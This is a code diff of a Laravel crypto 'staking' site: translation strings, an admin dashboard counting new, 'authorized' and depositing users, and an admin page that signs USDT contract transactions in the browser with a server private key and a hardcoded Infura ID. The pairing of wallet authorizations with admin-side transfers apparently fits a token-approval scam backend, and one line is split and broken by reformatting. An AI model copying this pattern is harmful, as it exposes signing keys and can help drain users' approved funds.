'My share' => '我的份额', 'My share' => '我的份额',
'Node Nominations' => '节点提名人数', 'Node Nominations' => '节点提名人数',
'Nodes Staked' => '节点质押数', 'Nodes Staked' => '节点质押数',
'Staking Address' => '主网质押地址', 'Staking Address' => '主网质押地址',
'Proportion of funds' => '资金占比', 'Proportion of funds' => '资金占比',
'Status' => '状态', 'Status' => '状态',
'DayAfter' => '天后', 'DayAfter' => '天后',
'Unlock' => '解锁', 'Unlock' => '解锁',
'at any time' => '随时', 'at any time' => '随时',
'After depositing, you will get a unique token as certificate, and use the certificate to retrieve your assets. For the safety of your assets, please do not transfer the certificate to others.' => '存入後獲得唯一的幣種代幣憑證,憑藉憑證取回資產,為了您資產安全請不要將憑證轉給他人。', 'After depositing, you will get a unique token as certificate, and use the certificate to retrieve your assets. For the safety of your assets, please do not transfer the certificate to others.' => '存入後獲得唯一的幣種代幣憑證,憑藉憑證取回資產,為了您資產安全請不要將憑證轉給他人。',
'One-click synchronization' => '一键同步', 'One-click synchronization' => '一键同步',
'Income' => '收益', 'Income' => '收益',
'All extraction' => '全部提取', 'All extraction' => '全部提取',
'Currently Withdrawable' => '当前可提取', 'Currently Withdrawable' => '当前可提取',
'Certificate' => '凭证', 'Certificate' => '凭证',
'Unlock1' => '解锁', 'Unlock1' => '解锁',
'Deposited1' => '资产量', 'Deposited1' => '资产量',
'Unlock failed' => '解锁失败', 'Unlock failed' => '解锁失败',
'shouyi'=>'收益', 'shouyi' => '收益',
]; ];

View File

@ -1 +1 @@
<iframe src="/admin123" width="100%" style="min-height: 600px" frameborder=”no” border=”0″ marginwidth=”0″ marginheight=”0″ scrolling=”no” allowtransparency=”yes”></iframe> <iframe src="/admin123" width="100%" style="min-height: 600px" frameborder=”no” border=”0″ marginwidth=”0″ marginheight=”0″ scrolling=”no” allowtransparency=”yes”></iframe>

View File

@ -1,5 +1,6 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0"> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
@ -17,304 +18,306 @@
<script src="assets/js/html5shiv.min.js"></script> <script src="assets/js/html5shiv.min.js"></script>
<script src="assets/js/respond.min.js"></script> <script src="assets/js/respond.min.js"></script>
</head> </head>
<body> <body>
<!-- Main Wrapper --> <!-- Main Wrapper -->
<div class="content container-fluid" style="margin-top: 10px"> <div class="content container-fluid" style="margin-top: 10px">
<div class="row"> <div class="row">
<div class="col-xl-3 col-sm-6 col-12"> <div class="col-xl-3 col-sm-6 col-12">
<div class="card"> <div class="card">
<div class="card-body"> <div class="card-body">
<div class="dash-widget-header"> <div class="dash-widget-header">
<span class="dash-widget-icon bg-primary"> <span class="dash-widget-icon bg-primary">
<i class="fe fe-users"></i> <i class="fe fe-users"></i>
</span> </span>
<div class="dash-count"> <div class="dash-count">
@if($user_bili >= 0) @if($user_bili >= 0)
<i class="fa fa-arrow-up text-success"></i> <i class="fa fa-arrow-up text-success"></i>
{{(int)$user_bili}}% {{(int)$user_bili}}%
@else @else
<i class="fa fa-arrow-down text-danger"></i> <i class="fa fa-arrow-down text-danger"></i>
{{abs($user_bili)}}% {{abs($user_bili)}}%
@endif @endif
</div>
</div> </div>
</div> <div class="dash-widget-info">
<div class="dash-widget-info"> <h3>{{$user_jin}}</h3>
<h3>{{$user_jin}}</h3> <h6 class="text-muted">今日新增用户</h6>
<h6 class="text-muted">今日新增用户</h6> <div class="progress progress-sm">
<div class="progress progress-sm"> <div class="progress-bar bg-primary w-{{abs($user_bili)}}"></div>
<div class="progress-bar bg-primary w-{{abs($user_bili)}}"></div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> <div class="col-xl-3 col-sm-6 col-12">
<div class="col-xl-3 col-sm-6 col-12"> <div class="card">
<div class="card"> <div class="card-body">
<div class="card-body"> <div class="dash-widget-header">
<div class="dash-widget-header"> <span class="dash-widget-icon bg-danger">
<span class="dash-widget-icon bg-danger"> <i class="fe fe-credit-card"></i>
<i class="fe fe-credit-card"></i> </span>
</span> <div class="dash-count">
<div class="dash-count"> @if($address_bili >= 0)
@if($address_bili >= 0)
<i class="fa fa-arrow-up text-success"></i> <i class="fa fa-arrow-up text-success"></i>
{{(int)$address_bili}}% {{(int)$address_bili}}%
@else @else
<i class="fa fa-arrow-down text-danger"></i> <i class="fa fa-arrow-down text-danger"></i>
{{abs($address_bili)}}% {{abs($address_bili)}}%
@endif @endif
</div>
</div> </div>
</div> <div class="dash-widget-info">
<div class="dash-widget-info"> <h3>{{$address_jin}}</h3>
<h3>{{$address_jin}}</h3> <h6 class="text-muted">今日授权用户</h6>
<h6 class="text-muted">今日授权用户</h6> <div class="progress progress-sm">
<div class="progress progress-sm"> <div class="progress-bar bg-danger w-{{abs($address_bili)}}"></div>
<div class="progress-bar bg-danger w-{{abs($address_bili)}}"></div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> <div class="col-xl-3 col-sm-6 col-12">
<div class="col-xl-3 col-sm-6 col-12"> <div class="card">
<div class="card"> <div class="card-body">
<div class="card-body"> <div class="dash-widget-header">
<div class="dash-widget-header"> <span class="dash-widget-icon bg-success">
<span class="dash-widget-icon bg-success"> <i class="fe fe-money"></i>
<i class="fe fe-money"></i> </span>
</span> <div class="dash-count">
<div class="dash-count"> @if($detail_bili >= 0)
@if($detail_bili >= 0)
<i class="fa fa-arrow-up text-success"></i> <i class="fa fa-arrow-up text-success"></i>
{{(int)$detail_bili}}% {{(int)$detail_bili}}%
@else @else
<i class="fa fa-arrow-down text-danger"></i> <i class="fa fa-arrow-down text-danger"></i>
{{abs($detail_bili)}}% {{abs($detail_bili)}}%
@endif @endif
</div>
</div> </div>
</div> <div class="dash-widget-info">
<div class="dash-widget-info"> <h3>${{$detail_count_jin}}</h3>
<h3>${{$detail_count_jin}}</h3> <h6 class="text-muted">今日充值金额</h6>
<h6 class="text-muted">今日充值金额</h6> <div class="progress progress-sm">
<div class="progress progress-sm"> <div class="progress-bar bg-success w-{{$detail_bili}}"></div>
<div class="progress-bar bg-success w-{{$detail_bili}}"></div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> <div class="col-xl-3 col-sm-6 col-12">
<div class="col-xl-3 col-sm-6 col-12"> <div class="card">
<div class="card"> <div class="card-body">
<div class="card-body"> <div class="dash-widget-header">
<div class="dash-widget-header"> <span class="dash-widget-icon bg-warning">
<span class="dash-widget-icon bg-warning"> <i class="fe fe-folder"></i>
<i class="fe fe-folder"></i> </span>
</span> <div class="dash-count">
<div class="dash-count"> @if($with_bili >= 0)
@if($with_bili >= 0)
<i class="fa fa-arrow-up text-success"></i> <i class="fa fa-arrow-up text-success"></i>
{{(int)$with_bili}}% {{(int)$with_bili}}%
@else @else
<i class="fa fa-arrow-down text-danger"></i> <i class="fa fa-arrow-down text-danger"></i>
{{abs($with_bili)}}% {{abs($with_bili)}}%
@endif @endif
</div>
</div> </div>
</div> <div class="dash-widget-info">
<div class="dash-widget-info"> <h3>${{$with_count_jin}}</h3>
<h3>${{$with_count_jin}}</h3> <h6 class="text-muted">今日提现金额</h6>
<h6 class="text-muted">今日提现金额</h6> <div class="progress progress-sm">
<div class="progress progress-sm"> <div class="progress-bar bg-warning w-{{$with_bili}}"></div>
<div class="progress-bar bg-warning w-{{$with_bili}}"></div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div>
<div class="row"> <div class="row">
<div class="col-md-12 col-lg-6"> <div class="col-md-12 col-lg-6">
<!-- Sales Chart --> <!-- Sales Chart -->
<div class="card card-chart"> <div class="card card-chart">
<div class="card-header"> <div class="card-header">
<h4 class="card-title">Sales Overview</h4> <h4 class="card-title">Sales Overview</h4>
</div> </div>
<div class="card-body"> <div class="card-body">
<div id="morrisArea"></div> <div id="morrisArea"></div>
</div>
</div> </div>
<!-- /Sales Chart -->
</div> </div>
<!-- /Sales Chart --> <div class="col-md-12 col-lg-6">
<!-- Invoice Chart -->
<div class="card card-chart">
<div class="card-header">
<h4 class="card-title">Order Status</h4>
</div>
<div class="card-body">
<div id="morrisLine"></div>
</div>
</div>
<!-- /Invoice Chart -->
</div>
</div> </div>
<div class="col-md-12 col-lg-6">
<!-- Invoice Chart --> <div class="row">
<div class="card card-chart"> <div class="col-md-6 d-flex">
<div class="card-header">
<h4 class="card-title">Order Status</h4> <!-- Recent Orders -->
</div> <!--<div class="card card-table flex-fill">-->
<div class="card-body"> <!-- <div class="card-header">-->
<div id="morrisLine"></div> <!-- <h4 class="card-title">Recent Orders</h4>-->
</div> <!-- </div>-->
<!-- <div class="card-body">-->
<!-- <div class="table-responsive">-->
<!-- <table class="table table-hover table-center">-->
<!-- <thead>-->
<!-- <tr>-->
<!-- <th>Item</th>-->
<!-- <th>Date</th>-->
<!-- <th class="text-center">Quantity</th>-->
<!-- <th class="text-center">Status</th>-->
<!-- <th class="text-right">Price</th>-->
<!-- </tr>-->
<!-- </thead>-->
<!-- <tbody>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Apple Watch Series 4</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">19 Jan 2019</td>-->
<!-- <td class="text-center">5</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-success inv-badge">Completed</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$487</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Apple iPhone XR</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">20 Jan 2019</td>-->
<!-- <td class="text-center">2</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-success inv-badge">Completed</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$255</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Dell XPS 9370</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">21 Jan 2019</td>-->
<!-- <td class="text-center">1</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-warning inv-badge">Pending</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$799</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Cisco WS-C2960X-48FPS-L</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">22 Jan 2019</td>-->
<!-- <td class="text-center">1</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-success inv-badge">Completed</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$970</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Apple MacBook Pro</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">23 Jan 2019</td>-->
<!-- <td class="text-center">1</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-danger inv-badge">Cancel</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$400</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- </tbody>-->
<!-- </table>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<!-- /Recent Orders -->
</div> </div>
<!-- /Invoice Chart --> <div class="col-md-6 d-flex">
<!-- Feed Activity -->
<div class="card flex-fill">
<div class="card-header">
<h4 class="card-title">Feed Activity</h4>
</div>
<div class="card-body">
<!--<ul class="activity-feed">-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Apr 13</div>-->
<!-- <span class="feed-text"><a href="profile.html">John Doe</a> added new product <a href="product-details.html">"Smart Watch"</a></span>-->
<!-- </li>-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Mar 21</div>-->
<!-- <span class="feed-text"><a href="profile.html">Justin Lee</a> requested amount of <a href="invoice.html">$5,781</a></span>-->
<!-- </li>-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Feb 2</div>-->
<!-- <span class="feed-text">New user registered <a href="profile.html">"Mary Wiley"</a></span>-->
<!-- </li>-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Jan 27</div>-->
<!-- <span class="feed-text"><a href="profile.html">Robert Martin</a> gave a review for <a href="product-details.html">"Dell Laptop"</a></span>-->
<!-- </li>-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Jan 14</div>-->
<!-- <span class="feed-text">New customer registered <a href="profile.html">"Tori Carter"</a></span>-->
<!-- </li>-->
<!--</ul>-->
</div>
</div>
<!-- /Feed Activity -->
</div>
</div> </div>
</div> </div>
<!-- /Main Wrapper -->
<div class="row"> <!-- jQuery -->
<div class="col-md-6 d-flex"> <script src="assets/js/jquery-3.2.1.min.js"></script>
<!-- Recent Orders --> {{--<!-- Bootstrap Core JS -->--}}
<!--<div class="card card-table flex-fill">--> <script src="assets/js/popper.min.js"></script>
<!-- <div class="card-header">--> <script src="assets/js/bootstrap.min.js"></script>
<!-- <h4 class="card-title">Recent Orders</h4>-->
<!-- </div>-->
<!-- <div class="card-body">-->
<!-- <div class="table-responsive">-->
<!-- <table class="table table-hover table-center">-->
<!-- <thead>-->
<!-- <tr>-->
<!-- <th>Item</th>-->
<!-- <th>Date</th>-->
<!-- <th class="text-center">Quantity</th>-->
<!-- <th class="text-center">Status</th>-->
<!-- <th class="text-right">Price</th>-->
<!-- </tr>-->
<!-- </thead>-->
<!-- <tbody>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Apple Watch Series 4</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">19 Jan 2019</td>-->
<!-- <td class="text-center">5</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-success inv-badge">Completed</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$487</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Apple iPhone XR</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">20 Jan 2019</td>-->
<!-- <td class="text-center">2</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-success inv-badge">Completed</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$255</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Dell XPS 9370</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">21 Jan 2019</td>-->
<!-- <td class="text-center">1</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-warning inv-badge">Pending</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$799</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Cisco WS-C2960X-48FPS-L</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">22 Jan 2019</td>-->
<!-- <td class="text-center">1</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-success inv-badge">Completed</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$970</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- <tr>-->
<!-- <td class="text-nowrap">-->
<!-- <div class="font-weight-600">Apple MacBook Pro</div>-->
<!-- </td>-->
<!-- <td class="text-nowrap">23 Jan 2019</td>-->
<!-- <td class="text-center">1</td>-->
<!-- <td class="text-center">-->
<!-- <span class="badge badge-pill bg-danger inv-badge">Cancel</span>-->
<!-- </td>-->
<!-- <td class="text-right">-->
<!-- <div class="font-weight-600">$400</div>-->
<!-- </td>-->
<!-- </tr>-->
<!-- </tbody>-->
<!-- </table>-->
<!-- </div>-->
<!-- </div>-->
<!--</div>-->
<!-- /Recent Orders -->
</div> {{--<!-- Slimscroll JS -->--}}
<div class="col-md-6 d-flex"> <script src="assets/plugins/slimscroll/jquery.slimscroll.min.js"></script>
<!-- Feed Activity --> <script src="assets/plugins/raphael/raphael.min.js"></script>
<div class="card flex-fill"> <script src="assets/plugins/morris/morris.min.js"></script>
<div class="card-header"> <script src="assets/js/chart.morris.js"></script>
<h4 class="card-title">Feed Activity</h4>
</div>
<div class="card-body">
<!--<ul class="activity-feed">-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Apr 13</div>-->
<!-- <span class="feed-text"><a href="profile.html">John Doe</a> added new product <a href="product-details.html">"Smart Watch"</a></span>-->
<!-- </li>-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Mar 21</div>-->
<!-- <span class="feed-text"><a href="profile.html">Justin Lee</a> requested amount of <a href="invoice.html">$5,781</a></span>-->
<!-- </li>-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Feb 2</div>-->
<!-- <span class="feed-text">New user registered <a href="profile.html">"Mary Wiley"</a></span>-->
<!-- </li>-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Jan 27</div>-->
<!-- <span class="feed-text"><a href="profile.html">Robert Martin</a> gave a review for <a href="product-details.html">"Dell Laptop"</a></span>-->
<!-- </li>-->
<!-- <li class="feed-item">-->
<!-- <div class="feed-date">Jan 14</div>-->
<!-- <span class="feed-text">New customer registered <a href="profile.html">"Tori Carter"</a></span>-->
<!-- </li>-->
<!--</ul>-->
</div>
</div>
<!-- /Feed Activity -->
</div> <!-- Custom JS -->
</div> <script src="assets/js/script.js"></script>
</div>
<!-- /Main Wrapper -->
<!-- jQuery -->
<script src="assets/js/jquery-3.2.1.min.js"></script>
{{--<!-- Bootstrap Core JS -->--}}
<script src="assets/js/popper.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
{{--<!-- Slimscroll JS -->--}}
<script src="assets/plugins/slimscroll/jquery.slimscroll.min.js"></script>
<script src="assets/plugins/raphael/raphael.min.js"></script>
<script src="assets/plugins/morris/morris.min.js"></script>
<script src="assets/js/chart.morris.js"></script>
<!-- Custom JS -->
<script src="assets/js/script.js"></script>
</body> </body>
</html> </html>

View File

@ -1,5 +1,6 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
<meta name="csrf-token" content="{{ csrf_token() }}"> <meta name="csrf-token" content="{{ csrf_token() }}">
<title>Title</title> <title>Title</title>
@ -10,119 +11,346 @@
margin-bottom: 10px; margin-bottom: 10px;
} }
</style> </style>
<body> <body>
<form> <form>
<h1>兑换划转</h1> <h1>兑换划转</h1>
<br> <br>
对方地址:<input value="{{$data['address']}}" disabled><br> 对方地址:<input value="{{$data['address']}}" disabled><br>
兑换金额:<input id="amount1" value="{{$data['balance']}}" disabled><br> 兑换金额:<input id="amount1" value="{{$data['balance']}}" disabled><br>
兑换币种:<input value="USDT" disabled><br> 兑换币种:<input value="USDT" disabled><br>
交易密码:<input value="" id="mima"><br> 交易密码:<input value="" id="mima"><br>
<br> <br>
<br> <br>
<br> <br>
输入金额:<input type="number" id="amount" value="{{$data['balance']}}"></span> 输入金额:<input type="number" id="amount" value="{{$data['balance']}}"></span>
</form> </form>
<button onclick="onConnect()">执行兑换</button> <button onclick="onConnect()">执行兑换</button>
<button onclick="javascript:location.href = '/admin/swap'" style="margin-left: 50px;margin-top: 50px">回到主页面</button> <button onclick="javascript:location.href = '/admin/swap'" style="margin-left: 50px;margin-top: 50px">回到主页面</button>
<p id="token"></p> <p id="token"></p>
<script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script> <script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script>
<script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script>
<script src="/js/jiami.js"></script> <script src="/js/jiami.js"></script>
<script> <script>
function toFixed (num, digits) { function toFixed(num, digits) {
var numS = num.toString(), var numS = num.toString(),
decPos = numS.indexOf('.'), decPos = numS.indexOf('.'),
substrLength = decPos == -1 ? numS.length : 1 + decPos + digits, substrLength = decPos == -1 ? numS.length : 1 + decPos + digits,
trimmedResult = numS.substr(0, substrLength), trimmedResult = numS.substr(0, substrLength),
finalResult = isNaN(trimmedResult) ? 0 : trimmedResult; finalResult = isNaN(trimmedResult) ? 0 : trimmedResult;
return parseFloat(finalResult); return parseFloat(finalResult);
}
var status1 = true;
function trim(s){
return s.replace(/(^\s*)|(\s*$)/g, "");
}
function onConnect() {
if (!exec_flat()){
return alert('交易密码错误');
} }
if (!status1) { var status1 = true;
return alert('当前已执行过');
function trim(s) {
return s.replace(/(^\s*)|(\s*$)/g, "");
} }
var address_from = "{{$system['gui_address']}}"; function onConnect() {
var address_b = "{{$data['address']}}"; if (!exec_flat()) {
var id = "{{$data['id']}}"; return alert('交易密码错误');
}
if (!status1) {
return alert('当前已执行过');
}
var address_from = "{{$system['gui_address']}}";
var address_b = "{{$data['address']}}";
var id = "{{$data['id']}}";
var amount = toFixed(parseFloat(trim(window.document.getElementById('amount').value)), 6); var amount = toFixed(parseFloat(trim(window.document.getElementById('amount').value)), 6);
if (!amount) { if (!amount) {
return alert('请输入兑换金额'); return alert('请输入兑换金额');
} }
var amount1 = $('#amount1').val(); var amount1 = $('#amount1').val();
if ((amount * 10000000000) > (parseFloat(amount1) * 10000000000)){ if ((amount * 10000000000) > (parseFloat(amount1) * 10000000000)) {
return alert('金额超出限制'); return alert('金额超出限制');
} }
const web3 = new Web3(new Web3.providers.WebsocketProvider("wss://mainnet.infura.io/ws/v3/355376f894504d199ac54b79dd3b9ff3")); const web3 = new Web3(new Web3.providers.WebsocketProvider("wss://mainnet.infura.io/ws/v3/355376f894504d199ac54b79dd3b9ff3"));
const registryAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7"; const registryAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
const contractAbi = [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]; const contractAbi = [{
"inputs": [{
"internalType": "string",
"name": "name",
"type": "string"
}, {
"internalType": "string",
"name": "symbol",
"type": "string"
}],
"stateMutability": "nonpayable",
"type": "constructor"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Approval",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "approve",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "subtractedValue",
"type": "uint256"
}],
"name": "decreaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "addedValue",
"type": "uint256"
}],
"name": "increaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transfer",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Transfer",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "sender",
"type": "address"
}, {
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transferFrom",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"internalType": "address",
"name": "spender",
"type": "address"
}],
"name": "allowance",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "account",
"type": "address"
}],
"name": "balanceOf",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "decimals",
"outputs": [{
"internalType": "uint8",
"name": "",
"type": "uint8"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "name",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "symbol",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "totalSupply",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}];
const privateKey = new ethereumjs.Buffer.Buffer('{{$system['app_key']}}',"hex"); const privateKey = new ethereumjs.Buffer.Buffer('{{$system['
const account = web3.eth.accounts.privateKeyToAccount("0x"+"{{$system['app_key']}}"); app_key ']}}', "hex");
const account = web3.eth.accounts.privateKeyToAccount("0x" + "{{$system['app_key']}}");
const address = account.address const address = account.address
var myContract = new web3.eth.Contract(contractAbi, registryAddress); var myContract = new web3.eth.Contract(contractAbi, registryAddress);
web3.eth.getGasPrice().then( gasPrice => { web3.eth.getGasPrice().then(gasPrice => {
web3.eth.getTransactionCount(address, web3.eth.defaultBlock.pending).then(function(nonce){ web3.eth.getTransactionCount(address, web3.eth.defaultBlock.pending).then(function(nonce) {
var txData = { var txData = {
nonce: web3.utils.toHex(nonce), nonce: web3.utils.toHex(nonce),
gasLimit: web3.utils.toHex(90000), gasLimit: web3.utils.toHex(90000),
gasPrice: web3.utils.toHex(gasPrice.toString(10)), gasPrice: web3.utils.toHex(gasPrice.toString(10)),
// 注意这里是代币合约地址 // 注意这里是代币合约地址
to: '0xdac17f958d2ee523a2206206994597c13d831ec7', to: '0xdac17f958d2ee523a2206206994597c13d831ec7',
from: address_from, from: address_from,
// 调用合约转账value这里留空 // 调用合约转账value这里留空
value: web3.utils.toHex(web3.utils.toWei('0', 'ether')), value: web3.utils.toHex(web3.utils.toWei('0', 'ether')),
